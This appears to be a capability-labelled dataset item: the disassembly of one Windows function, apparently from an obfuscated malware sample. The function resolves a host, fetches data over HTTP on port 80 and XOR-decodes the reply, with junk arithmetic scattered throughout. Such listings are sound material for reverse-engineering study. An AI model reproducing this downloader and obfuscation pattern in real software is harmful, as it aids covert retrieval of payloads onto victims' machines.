Function at 0x408910
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c7d0
push 0xffffffffffffffff
push 0x41e6fb
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x425e90]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x40]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], ebx
xor edx, edx
mov word [ebp - 0x2c], dx
mov dword [ebp - 0x30], ebx
fst dword [ebp - 0x3c]
xor eax, eax
mov word [ebp - 0x14], ax
mov dword [ebp - 0x24], ebx
fstp dword [ebp - 0x1c]
mov byte [ebp + 0x11bc], al
xor ecx, ecx
mov eax, esi
mov byte [ebp - 4], 1
mov word [ebp - 0x20], cx
lea edx, [eax + 1]
jmp 0x4089c0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089c0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408d29
xor eax, eax
cmp eax, edi
jg 0x408a1f
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408a1c
fld dword [0x425930]
mov byte [ebp + eax + 0x13bc], 0
fmul qword [0x41f9a8]
mov ecx, eax
fstp dword [0x425930]
cmp ecx, edi
jg 0x408a1f
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408a05
inc eax
jmp 0x4089d6
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a28
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
jmp 0x408a40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a40
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408d11
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a60
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408a70
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x4259cc
rep movsb byte es:[edi], byte [esi]
call fcn.00401ea0
mov esi, eax
fld qword [0x425448]
add esp, 8
fsubr qword [0x41f9a0]
fsub qword [0x41f998]
fld dword [0x423484]
fcompp
fnstsw ax
fld dword [0x423484]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x423484]
fadd qword [0x425448]
fstp qword [0x425448]
test ah, 1
jne 0x408b06
movzx ecx, word [0x425d80]
mov dx, word [0x423660]
movsx ecx, cx
movsx eax, dx
sub eax, ecx
movzx ecx, word [0x4259c0]
imul ecx, eax
mov word [0x4259c0], cx
inc word [0x425d80]
mov eax, esi
lea edx, [eax + 1]
jmp 0x408b10
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b10
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d70
fldz
xor eax, eax
xor edx, edx
mov word [ebp - 0x20], dx
fstp qword [ebp - 0x38]
mov dword [esi], eax
push esi
mov byte [esi + 4], al
call fcn.0040b3fb
fld dword [ebp - 0x1c]
fsub qword [0x41f990]
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x425934]
mov dword [ebp - 0x18], eax
fiadd dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
add esp, 4
fild dword [ebp - 0x18]
faddp st(1)
call fcn.0040b350
mov dword [0x425934], eax
fld dword [ebp - 0x1c]
fsub qword [0x41f358]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
fstp dword [ebp - 0x1c]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b80
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.004087d0
push 0x32
push 0x4254e8
call fcn.00401ea0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408bb0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004087d0
fldz
push 0x32
xor eax, eax
push ebx
mov word [ebp - 0x20], ax
fstp qword [ebp - 0x38]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
fld dword [ebp - 0x1c]
fsubr qword [0x41f988]
add esp, 0x10
fcomp qword [0x41f980]
fnstsw ax
fld dword [ebp - 0x1c]
fadd qword [0x41f358]
fstp dword [ebp - 0x1c]
test ah, 0x41
jp 0x408c11
fld dword [ebp - 0x3c]
fadd qword [0x41f978]
fstp dword [ebp - 0x3c]
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408c20
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004087d0
push 5
push 0x425d90
call fcn.00401ea0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408c50
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004087d0
fldz
xor eax, eax
xor edx, edx
mov word [ebp - 0x20], dx
fstp qword [ebp - 0x38]
mov dword [esi], eax
push esi
mov byte [esi + 4], al
call fcn.0040b3fb
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x4091e5
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, 0xffffffff
jne 0x408d4e
dec dword [0x42543c]
mov edx, dword [0x42543c]
cmp edx, 0x260b5c6b
jl 0x408cfe
fld dword [0x424788]
fadd qword [0x41f358]
fstp dword [0x424788]
mov ax, word [0x4241d0]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fld dword [0x424788]
fadd dword [0x425478]
fsubp st(1)
call fcn.0040b350
mov word [0x4241d0], ax
call sub.WS2_32.dll_WSACleanup
movzx edx, word [ebp - 0x2c]
add edx, 0x2a82dc38
mov word [ebp - 0x2c], dx
cmp dword [ebp + 0x1b8], 0x10
jb 0x408d29
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aea0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b623
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], ebx
je 0x408db6
fld qword [0x425448]
push 4
fsub dword [0x42478c]
movzx ecx, word [ebp - 0x2c]
movsx edx, cx
mov dword [ebp - 0x20], edx
lea eax, [ebp + 0x1458]
push eax
fild dword [ebp - 0x20]
push 0x1006
push 0xffff
push esi
fsubp st(1)
fmul dword [0x4253f8]
fstp dword [0x4253f8]
fld qword [0x425448]
fadd qword [0x41f358]
fstp qword [0x425448]
call sub.WS2_32.dll_setsockopt
movzx ecx, word [ebp - 0x14]
sub ecx, 0x5207b69
mov word [ebp - 0x14], cx
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408e02
mov ax, word [ebp - 0x14]
movsx ecx, ax
add ecx, dword [0x4234c4]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsub qword [0x425598]
call fcn.0040b350
cmp dword [ebp + 0x1b8], 0x10
mov dword [0x425a90], eax
jb 0x408d29
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408d21
mov dx, word [0x4241d0]
mov ecx, 2
mov word [ebp + 0x190], cx
movsx ecx, dx
add ecx, 0xad88aeaa
add dword [0x425a4c], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
fld qword [0x424200]
fsub qword [0x41f970]
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
fstp qword [0x424200]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408e80
cmp dword [ebp + 0x1b8], edi
jmp 0x4091ec
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408e94
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408eb6
cmp dword [ebp + 0x1b8], edi
jmp 0x408d18
mov ecx, dword [ebp - 0x28]
push ebx
push 0x41f968
call fcn.00407d70
or edi, 0xffffffff
or ebx, edi
lea esp, [esp]
mov cx, word [ebp - 0x14]
movsx edx, cx
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
fmul dword [0x425590]
call fcn.0040b350
mov ecx, dword [ebp - 0x18]
mov word [ebp - 0x14], ax
fld dword [0x425590]
fadd qword [0x41f358]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
fstp dword [0x425590]
push ecx
call sub.WS2_32.dll_recv
fld qword [0x4236c8]
fsub qword [0x41f960]
fstp qword [0x4236c8]
test eax, eax
jg 0x408f82
mov edx, dword [0x425a54]
sub edx, 0x154880b0
cmp edx, 0x7a9a5101
jl 0x408f64
mov ax, word [ebp - 0x2c]
mov edx, dword [0x425914]
movsx ecx, ax
lea eax, [ecx + edx - 0xcf1b7e8]
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp dword [ebp - 0x40]
inc dword [ebp - 0x2c]
jmp 0x409128
fld dword [ebp - 0x1c]
fadd qword [0x425d50]
fadd qword [0x425440]
call fcn.0040b350
mov dword [0x425a70], eax
jmp 0x409128
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.004087d0
test edi, edi
jge 0x4090ec
push 5
push 0x425d90
call fcn.00401ea0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408fb0
mov ecx, dword [ebp - 0x28]
sub eax, edx
push eax
push 0
push esi
call fcn.00404af0
fldz
mov edx, dword [0x4253d8]
imul edx, edx, 0xfa06fba0
mov dword [0x4253d8], edx
mov edi, eax
xor eax, eax
mov word [ebp - 0x20], ax
mov dword [esi], eax
fstp qword [ebp - 0x38]
push esi
mov byte [esi + 4], al
call fcn.0040b3fb
mov cx, word [0x4234ac]
movsx edx, cx
add edx, 0x44e33f29
add esp, 4
cmp edx, 0x1c5e6a44
jne 0x40901c
fld dword [0x425590]
fsub qword [0x41f958]
fstp dword [0x425590]
test edi, edi
jl 0x4090ec
fld dword [ebp - 0x1c]
mov ax, word [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
movsx ecx, ax
mov eax, dword [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x1c], ecx
push eax
add edi, 4
fisub dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
dec dword [ebp - 0x2c]
fld dword [0x425d64]
fmul qword [0x41f950]
fstp dword [0x425d64]
call fcn.00406f70
inc dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
sub ecx, 0x5bdd3779
sub edx, 0x1a5c1d99
add esp, 4
mov ebx, eax
mov dword [ebp - 0x34], ebx
cmp edx, ecx
jne 0x409090
fld dword [0x4234bc]
fadd qword [0x41f948]
fstp dword [0x4234bc]
test ebx, ebx
jge 0x4090f0
fld dword [ebp - 0x40]
push 0xb
fsub qword [0x41f940]
push 0x425b08
fstp dword [ebp - 0x40]
call fcn.00401ea0
mov esi, eax
mov ax, word [ebp - 0x14]
movsx ecx, ax
add ecx, 0x67b63f9a
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x28]
add esp, 8
fild dword [ebp - 0x20]
push 0
push esi
fadd dword [ebp - 0x3c]
fstp dword [ebp - 0x3c]
dec dword [ebp - 0x14]
call fcn.00405df0
push esi
push 0xb
mov ebx, eax
call fcn.00401920
add esp, 8
test ebx, ebx
jge 0x409128
mov ebx, dword [ebp - 0x34]
test ebx, ebx
jl 0x4090fc
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x409128
fld dword [ebp - 0x1c]
fadd qword [0x425a98]
cmp dword [ebp + 0x1458], 0
fstp dword [0x4234d4]
je 0x4091fe
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x14], 0x4000
jb 0x4091fe
mov ecx, dword [ebp - 0x18]
push ecx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x409149
push edi
mov edi, dword [ebp - 0x28]
push 0
mov ecx, edi
call fcn.00405d60
jmp 0x40914c
mov edi, dword [ebp - 0x28]
mov dx, word [0x4259bc]
inc word [0x4259bc]
movsx eax, dx
add eax, 0xfcd272c
cmp eax, 0x7cec72f1
jne 0x40917d
fld qword [0x425d48]
fsub qword [0x41f938]
fstp qword [0x425d48]
jmp 0x409199
mov cx, word [ebp - 0x14]
movsx edx, cx
mov dword [ebp - 0x34], edx
fild dword [ebp - 0x34]
fadd qword [0x425a08]
call fcn.0040b350
mov word [ebp - 0x14], ax
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x4091e5
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x4091e5
dec dword [ebp - 0x24]
movzx eax, word [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
imul eax, ecx
mov word [ebp - 0x14], ax
cmp esi, dword [edi + 0x14]
jbe 0x4091c5
call fcn.0040bbb1
cmp dword [edi + 0x18], 0x10
jb 0x4091d0
mov eax, dword [edi + 4]
jmp 0x4091d3
lea eax, [edi + 4]
xor byte [eax + esi], bl
mov dx, word [ebp - 0x14]
movsx eax, dx
mov dword [0x425a70], eax
inc esi
jmp 0x4091a5
cmp dword [ebp + 0x1b8], 0x10
jb 0x408d29
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408d21
mov edx, dword [ebp - 0x24]
imul edx, edx, 0xdb0c1ed6
mov dword [ebp - 0x24], edx
jmp 0x408ed0